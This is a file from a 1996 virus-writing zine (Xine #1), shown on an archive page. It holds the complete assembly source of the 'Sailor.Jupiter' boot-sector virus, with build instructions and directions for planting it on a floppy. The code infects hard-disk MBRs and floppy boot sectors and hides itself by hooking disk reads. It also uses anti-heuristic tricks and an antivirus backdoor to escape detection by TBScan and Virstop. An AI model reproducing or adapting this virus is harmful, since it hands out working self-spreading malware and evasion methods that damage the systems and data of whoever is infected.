home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / XINE-1.ZIP / XINE-1.022 < prev    next >
Text File  |  1996-10-25  |  7KB  |  245 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 022 |
  4.                                         \-----------------------------/
  5.  
  6.  
  7. ;
  8. ;
  9. ; b0z0 presents:
  10. ; Sailor.Jupiter
  11. ;
  12. ; well, boot infectors... it has to be done :) let's see what it does:
  13. ;   - infects BS/MBR. Original MBR is on 0,0,2 and original BS on
  14. ;     floppyes is on 0,1,14.
  15. ;   - MBR stealth on write/read/verify
  16. ;   - Floppy BS stealth on read. I haven't implemented floppy BS stealth
  17. ;     on write because i think that is a waste of space. infact it gets
  18. ;     a lot of space to test all the possible writings to the original
  19. ;     bs. and a non complete check will only bring problems. anyway if
  20. ;     a user formats the diskette while the virus is in mem it will be
  21. ;     infect on the first read, that's the stage when format checks the
  22. ;     total space on diskette :)
  23. ;   - Heavy antiheuristic structures agains TBScan. the infected boot
  24. ;     sectors actually doesn't flag any flag with TBScan 7.04. well, that
  25. ;     article on the flags was of use for someone :)
  26. ;   - Anti-Virstop feature. This is the first virus, i think, that uses
  27. ;     the Virstop backdoor, so the AV won't notice the infected boot
  28. ;     sector when a user read an infected diskette. Thanx Dandler!
  29. ;
  30. ;
  31. ; Once again thanx to Dandler for his help with my first boot experience :)
  32. ;
  33. ;
  34. ; To compile:
  35. ;  TASM /ZI /M2 JUPITER.ASM
  36. ;  TLINK /M /V JUPITER.OBJ
  37. ;  TDSTRIP -C JUPITER.EXE
  38. ; and then put the resulting file at the boot sector of a floppy disk.
  39. ; pay attention, you must of course preserve the first 03eh bytes of the
  40. ; original boot sector
  41. ;
  42.  
  43.  
  44. .model tiny
  45. .code
  46.  
  47.         org     0
  48.  
  49. start:
  50.         jmp     short virus_start
  51.         nop
  52.                             ;<-- important floppy stuff comes here
  53.         org     03eh
  54.  
  55. virus_start:
  56.         cli
  57.         xor     ax,ax
  58.         mov     ss,ax           ;adjust ss:sp
  59.         mov     sp,7c00h
  60.         push    ax
  61.         pop     es
  62.         push    ax
  63.         pop     ds
  64.         sti
  65.  
  66.         mov     ax,201h
  67.         mov     bx,offset virus_end+7c00h;read to our buffer after the virus
  68.         mov     dx,80h
  69.         mov     cx,1
  70.         int     13h             ;read mbr
  71.         jc      no_mbr          ;go away if hd not present
  72.  
  73.         mov     si,offset virus_name+7c00h
  74.         push    si
  75.         pop     di
  76.         add     di,offset virus_end
  77.         mov     cx,7
  78.         rep     cmpsw            ;check if the mbr is already infected?
  79.         je      no_mbr
  80.  
  81.         mov     byte ptr floppymarker+7c00h,1   ;HD mark
  82.         mov     ax,202h
  83.         inc     ah
  84.         mov     bx,7c00h
  85.         mov     cx,1            ;write virus and original mbr
  86.         int     13h
  87.  
  88.         mov     byte ptr floppymarker+7c00h,0   ;reset marker
  89.  
  90. no_mbr:
  91.         mov     di,412h                ; well, goodbye TBScan ]:)
  92.         inc     di
  93.         dec     word ptr ds:[di]
  94.         mov     ax,word ptr ds:[di]
  95.         mov     cl,6
  96.         shl     ax,cl                           ;get mem
  97.         mov     es,ax
  98.  
  99.         xchg    word ptr ds:[04eh],ax       ;put new segment
  100.         mov     seg13h+7c00h,ax             ;save old int13h segment
  101.         mov     ax,offset int13h_handler    ;ax=new int13h handler
  102.         xchg    word ptr ds:[04ch],ax
  103.         mov     off13h+7c00h,ax             ;save old offset
  104.  
  105.         mov     si,100h       ;
  106.         push    si            ; so TBScan wouldn't trigger the O flag
  107.         pop     cx            ;
  108.         mov     si,7C00h
  109.         push    si
  110.         xor     di,di
  111.         rep     movsw           ;copy the virus in our 1kb mem space
  112.  
  113.  
  114.         push    cs
  115.         pop     es                      ;ES=CS
  116.  
  117.         mov     ax,201h                 ;read to 0:7c00h
  118.         pop     bx
  119.         mov     cx,1
  120.         cmp     byte ptr cs:[floppymarker+7c00h],0      ;is hd or fd?
  121.         jne     isharddisk
  122.         mov     cx,000eh
  123.         mov     dl,0
  124.         mov     dh,1
  125.  
  126. isharddisk:
  127.         push    013cdh                ;put CD13 at 7c00h-2
  128.         jmp     start-2               ;jump there and execute the read
  129.  
  130. int13h_handler:
  131.         cmp     cx,1
  132.         jne     do_int_13
  133.         cmp     dh,0
  134.         jne     do_int_13
  135.         cmp     dl,80h                          ;something on mbr?
  136.         je      mbr_stealth
  137.         cmp     dl,1                            ;Read floppy boot?
  138.         ja      do_int_13
  139.         cmp     ax,201h                         ;read 1 sector
  140.         je      floppy_infection
  141. do_int_13:
  142.     db      0EAh
  143. off13h   dw      ?
  144. seg13h   dw      ?
  145.  
  146. mbr_stealth:
  147.         push    cx
  148.  
  149.         mov     cl,2
  150.         int     13h                         ;return original mbr
  151.  
  152.         pop     cx
  153.         retf    2
  154.  
  155. floppy_infection:
  156.         pushf
  157.         call    dword ptr cs:off13h
  158.         jc      read_error
  159.         pushf
  160.         push    ax
  161.         push    bx
  162.         push    cx
  163.         push    si
  164.         push    di
  165.         push    ds
  166.         push    es
  167.  
  168.         push    es
  169.         pop     ds
  170.         push    cs
  171.         pop     es
  172.  
  173.         lea     si,[offset virus_name + bx]
  174.         mov     di,offset virus_name
  175.         mov     cx,7
  176.         rep     cmpsw
  177.         je      fbs_stealth   ; already infected? just hide the virus bs
  178.  
  179.         push    es
  180.         push    dx
  181.         push    ds
  182.         pop     es
  183.         mov     ax,201h
  184.         push    ax
  185.         inc     ah
  186.         mov     cx,000eh
  187.         mov     dh,01h
  188.         int     13h             ; copy original boot to 0,1,14
  189.         pop     ax
  190.  
  191.         pop     dx
  192.         pop     es
  193.         jc      fb_exit         ; error occoured? go away
  194.  
  195.         mov     byte ptr cs:[floppymarker],0
  196.         lea     si,[bx+03h]    ; copy original BS bytes from offset 03h
  197.         mov     di,03h         ; to offset 3eh
  198.         mov     cx,03bh
  199.         rep     movsb
  200.  
  201.         mov     word ptr es:[2fh],10cdh         ;Virstop rulesss ]:)
  202.  
  203.         push    bx
  204.         inc     ah
  205.         sub     bx,bx                           ;mov    BX,offset START
  206.         mov     cx,1
  207.         int     13h                             ;Infect floppy boot
  208.         pop     bx
  209.  
  210. fbs_stealth:
  211.         push    ds
  212.         pop     es
  213.         mov     ax,201h
  214.         mov     cx,000eh                     ;read the original one to
  215.         mov     dh,01h                       ;ES:BX and give it to the
  216.         int     13h                          ;user
  217.  
  218. fb_exit:
  219.         pop     es
  220.         pop     bx
  221.         pop     di
  222.         pop     si
  223.         pop     cx
  224.         pop     bx
  225.         pop     ax
  226.         popf
  227. read_error:
  228.         retf    2
  229.  
  230. virus_name      db      'Sailor.Jupiter',0
  231. virus_author    db      'b0z0/iKx',0            ; :)
  232.  
  233. floppymarker db      00h
  234.  
  235.         org     01feh
  236.  
  237. boot_mbr:
  238.         db      55h,0AAh
  239.  
  240.         org     200h
  241.  
  242. virus_end:
  243.  
  244. end
  245.